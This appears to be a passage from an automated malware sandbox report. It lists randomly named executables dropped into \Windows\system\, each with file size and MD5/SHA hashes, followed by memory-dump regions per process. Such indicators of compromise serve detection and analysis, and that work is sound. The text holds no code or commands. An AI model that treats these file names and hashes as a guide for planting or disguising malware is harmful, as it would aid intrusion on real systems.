9120b4cc8ce12bb59c75102aacb4aa6a

SHA1
a3cd956aa90d945d06c459175108804a14b9ba83

SHA256
85764fa103e30021ba20e1172ef29f412628331d66085ab1b493f1702edf3eb7

SHA512
79846eddf9ba324a6844af0bed9dc879f14f7e667ff0d2f07dc220cc6e52935c28eae179b220e0bec09b287d5af5975c8603c27485f825d03734fd278ea2468e

Download Submit
\Windows\system\FZpcVso.exe

Filesize
2.2MB

MD5
f0ac4f06752d3f23153a60813ab08b46

SHA1
6dd2a77b800a80784f4ff377e023ff3040c9a5f3

SHA256
dac1bd0fa0f07d72f236b08fc739267e511534f3f6a1a4e72d08148cb2ffad1f

SHA512
069569764176b09e737e866fc70404b93bc0be2b381060d6bbef2d8ec4d538bec2447bc4bf6f804ae177b68b5eab2465354f3cf8bc1439c45994b74d50898553

Download Submit
\Windows\system\HpjWzXN.exe

Filesize
2.2MB

MD5
34dd68d3f549b609101e51879d77dfd9

SHA1
ec2ceda5488a57632ca7645571c8cc9d2fcfdcc1

SHA256
aa801d9a039a868da92a2a052ae75219706b6fbf415637d2096f3396e87709aa

SHA512
364c2104f2477343c3898165e08a43c0474c33d20ac6a76e6ae29a9926407803944e5d25297824899e6bf89cf41a481d5f930ee3d9787d09f9139b11af70aab6

Download Submit
\Windows\system\IvaPDMY.exe

Filesize
2.2MB

MD5
d91361f3e7b17792026fefcd8b80a184

SHA1
0297d83fca9f3d4aaaa5e9f9c4aa670219e7601b

SHA256
9463444a81595a1a8eb6d880423d627b2ade0deabd47eca9209d1139b59b1518

SHA512
5602b3169a0ed74d247c0a21eacc78789d1ec308212892533988613e38c58af2ef69d8dc7c22d13df02188c160287bf912323c7700dd63ee3938a22064c7a7c0

Download Submit
\Windows\system\JnqGVND.exe

Filesize
2.2MB

MD5
ef69c58dea7d04e09dca8f38dbd7b7d6

SHA1
63e162176e6deaf04a5e144ca601cdfe384db746

SHA256
7ecbb10bc7a53bb4b27a6f4c978e6994a48d3059641330d8d2205eadfadd9997

SHA512
371d9f96b77d22f78cd5eea54da4ca01d23516e5b13d7aebe7ba53946761e08a2fa3631a2c298562002467d62a57a21661ca4fd94c11d65dac7e01ab6f6e2a20

Download Submit
\Windows\system\KpfyGia.exe

Filesize
2.2MB

MD5
a88dc9066cc31df1d58cd5385dbcd61d

SHA1
61c33e0ecf6844d9ba7a43a07e5de1d22dd60f43

SHA256
547bf980a2840ae2c24b8279435e817461177c22f6a9a767d1b9774006e576a7

SHA512
47c3f5d5e578038ef2db057ed999af2601addfd39efb3f02ad1d0ffb1ea549872ec2525df2a75d8a19161b75e32c18244ad35145d9d217b0f0b0ab89105a7106

Download Submit
\Windows\system\OHRkobz.exe

Filesize
2.2MB

MD5
ce735f01020c6bbe2a5c1be3227dbe21

SHA1
1b9aafb2974a7d789c73e20500bdcb37b844f0b6

SHA256
28c4edb76aa5cb9a577abffca9ebb8907dee619de7991b51a81e79179d070c84

SHA512
145a700a88b7c0a4ed4e543a7571ba6bb92ded8bd48d6bfe642ebf76786944a37e17e56cadc7b5fb69afa080c1ec858fc88dc49f6b13156e458a565220b8d4c2

Download Submit
\Windows\system\SyuJKkv.exe

Filesize
2.2MB

MD5
1f1e168bc41684412b18a5e53229daba

SHA1
51fb99552d78aaf59d34dde9422df4b7e72297b2

SHA256
b770ac15ff1a7930840e47f9b16e94d74242a0ee71f438875d09ed53f750658c

SHA512
74e0ee14edbb0a6bdf2affe3e4af3539c4632a4b31d712e1e17bece13a853b75b1a42483cefe3359f624022a802d173e486e72b2a21b7e749ad61c603bf3ca0b

Download Submit
\Windows\system\VnmAYRK.exe

Filesize
2.2MB

MD5
3bcfe89c8aff8b22bd4d326befb93bc9

SHA1
134373baaca9bdfc884853dfe763d4efd03851c5

SHA256
332a22ebe0ca3279d9799845b511de8e22617ede99e642da0cd83de70afe85cb

SHA512
2b55f4b2e6a33f3264ce929e3e31b4441e3ea475252e6ad6cfdb55f8e919f91406adb217212264f6312f92a3669501648a7c54bc61cbb613a5cb2ec5f88e3e27

Download Submit
\Windows\system\iNgQHjS.exe

Filesize
2.2MB

MD5
0613a83f459f3dff9651f64399732ee4

SHA1
5de2fe7cf97290ce2784c0da7c80a84320405295

SHA256
cf3b0328de567744721cb28a59c42e5f66b071c84ca8613948b07a3dbdab6051

SHA512
ee212acfaa88dfb93c14e63be4581b0d313b62a2082cf0f03c752cb4899ce24663ccad0ef24e5671c2e4120f87d959198ca48ff131b575dc40190ed9e1b103df

Download Submit
\Windows\system\oJJhqwi.exe

Filesize
2.2MB

MD5
5266544dec0809b1d5e9c1985064b44a

SHA1
518507e81709a896e41e5a6dba085e34b8eda267

SHA256
2d1a59e3fe688b4f2ca2fd7d1508f01018f7b06c0d1cbf3386a5ddfebade2954

SHA512
012a2cbe7a0463a046ce9d6c016b2d987eab55bb7080999a8ca2948e9e45ce5a97a16af9f5cc3adc8b19fdce725b5320cb4ce51d10daf1ef9b7716199bd10ba3

Download Submit
\Windows\system\qPXwUzP.exe

Filesize
2.2MB

MD5
155aa0714ba12721581688c07a57af8b

SHA1
334c84a54c270b5bd2e8c95bafb5a75954f3205d

SHA256
2c29ad333fe1738418b339e129490277d88ebff62d55314c7acf1ba454dd5bc8

SHA512
38e16751755f14657e6ad419318dcc47858a939d06a5a872a1a21da32eb9e5c0ea0a17a99f64b7bdee584e074fbdef2f12bc898a7cb6c8485e4ad293d5c8e2cb

Download Submit
\Windows\system\rJoPSdb.exe

Filesize
2.2MB

MD5
37147fa2d31ab4050b561c2409badf32

SHA1
a178c890f2e96dc1f7e511e212006362f23ef10c

SHA256
015d9f51edaf4732ea00f62b7be4e0bc648262688755f2ed0f40f0a7dcb50404

SHA512
016d4b57e8c859b63e3b69f29aafb46509955ccc89d9595ee2bc3cc27420db353d1f036aa5fa1177c7b556e722af3a2d87af8eb14e6d028e6291875e407bb88a

Download Submit
\Windows\system\wbTuEDC.exe

Filesize
2.2MB

MD5
4db2f2e4779eb96f23355137d3b6e6a5

SHA1
1227a1289bde3faf2ecd4ab7487a89ba8cfeabf1

SHA256
1b91fa08c624ba7d24a0a96179d656f04d2d9173bc8e6594a388570676a29ea7

SHA512
350259ca2ec560b1e3534ffae6d88af72af1a7dbf557767905d1392f1f1b4b5a75146368a396275fd7146bb75e650abd362239b17b7bca2f1a60b326a2746660

Download Submit
\Windows\system\zdXuJVr.exe

Filesize
2.2MB

MD5
4b2621539238824f9137fc69c1756344

SHA1
1a268b9b9ae09f66eb900b4199054d20efcfb450

SHA256
579c8e06aaf10eb83ea5bd098a2b35fb4bbe6af2a9ee116daf1da15144d08fbd

SHA512
f6e9b9c075dc7cf57cdace2a08cb470de5ae21a56ba929bb065d578112d76213afdb910a9978f1c992cf9d202c117c6f127bd107348bc1f3046552b1cffd3f4f

Download Submit
memory/1148-18-0x0000000003190000-0x0000000003582000-memory.dmp

Filesize
3.9MB

Download
memory/1148-1530-0x00000000037D0000-0x0000000003BC2000-memory.dmp

Filesize
3.9MB

Download
memory/1148-0-0x00000000001F0000-0x0000000000200000-memory.dmp

Filesize
64KB

Download
memory/1148-102-0x00000000037D0000-0x0000000003BC2000-memory.dmp

Filesize
3.9MB

Download
memory/1148-965-0x0000000003190000-0x0000000003582000-memory.dmp

Filesize
3.9MB

Download
memory/1148-2-0x000000013FE90000-0x0000000140282000-memory.dmp

Filesize
3.9MB

Download
memory/1148-8-0x000000013F170000-0x000000013F562000-memory.dmp

Filesize
3.9MB

Download
memory/1148-83-0x000000013F3A0000-0x000000013F792000-memory.dmp

Filesize
3.9MB

Download
memory/1148-52-0x000000013FA20000-0x000000013FE12000-memory.dmp

Filesize
3.9MB

Download
memory/1148-40-0x00000000037D0000-0x0000000003BC2000-memory.dmp

Filesize
3.9MB

Download
memory/1148-390-0x000000013FE90000-0x0000000140282000-memory.dmp

Filesize
3.9MB

Download
memory/1148-104-0x000000013F420000-0x000000013F812000-memory.dmp

Filesize
3.9MB

Download
memory/1148-44-0x000000013F7E0000-0x000000013FBD2000-memory.dmp

Filesize
3.9MB

Download
memory/1148-54-0x000000013F9E0000-0x000000013FDD2000-memory.dmp

Filesize
3.9MB

Download
memory/1148-103-0x00000000037D0000-0x0000000003BC2000-memory.dmp

Filesize
3.9MB

Download
memory/2080-39-0x000000013F7E0000-0x000000013FBD2000-memory.dmp

Filesize
3.9MB

Download
memory/2464-46-0x000000013FC40000-0x0000000140032000-memory.dmp

Filesize
3.9MB

Download
memory/2476-59-0x000000013F9E0000-0x000000013FDD2000-memory.dmp

Filesize
3.9MB

Download
memory/2520-53-0x000000013FA20000-0x000000013FE12000-memory.dmp

Filesize
3.9MB

Download
memory/2660-19-0x000000013FEA0000-0x0000000140292000-memory.dmp

Filesize
3.9MB

Download
memory/2660-966-0x000000013FEA0000-0x0000000140292000-memory.dmp

Filesize
3.9MB

Download
memory/2732-41-0x000000013F5D0000-0x000000013F9C2000-memory.dmp

Filesize
3.9MB

Download
memory/2744-13-0x000000013F170000-0x000000013F562000-memory.dmp

Filesize
3.9MB

Download
memory/2968-98-0x000000013F3A0000-0x000000013F792000-memory.dmp

Filesize
3.9MB

Download
memory/3036-37-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/3036-42-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/3036-36-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/3036-38-0x0000000002C90000-0x0000000002D10000-memory.dmp

Filesize
512KB

Download
memory/3036-25-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/3036-28-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/3036-337-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download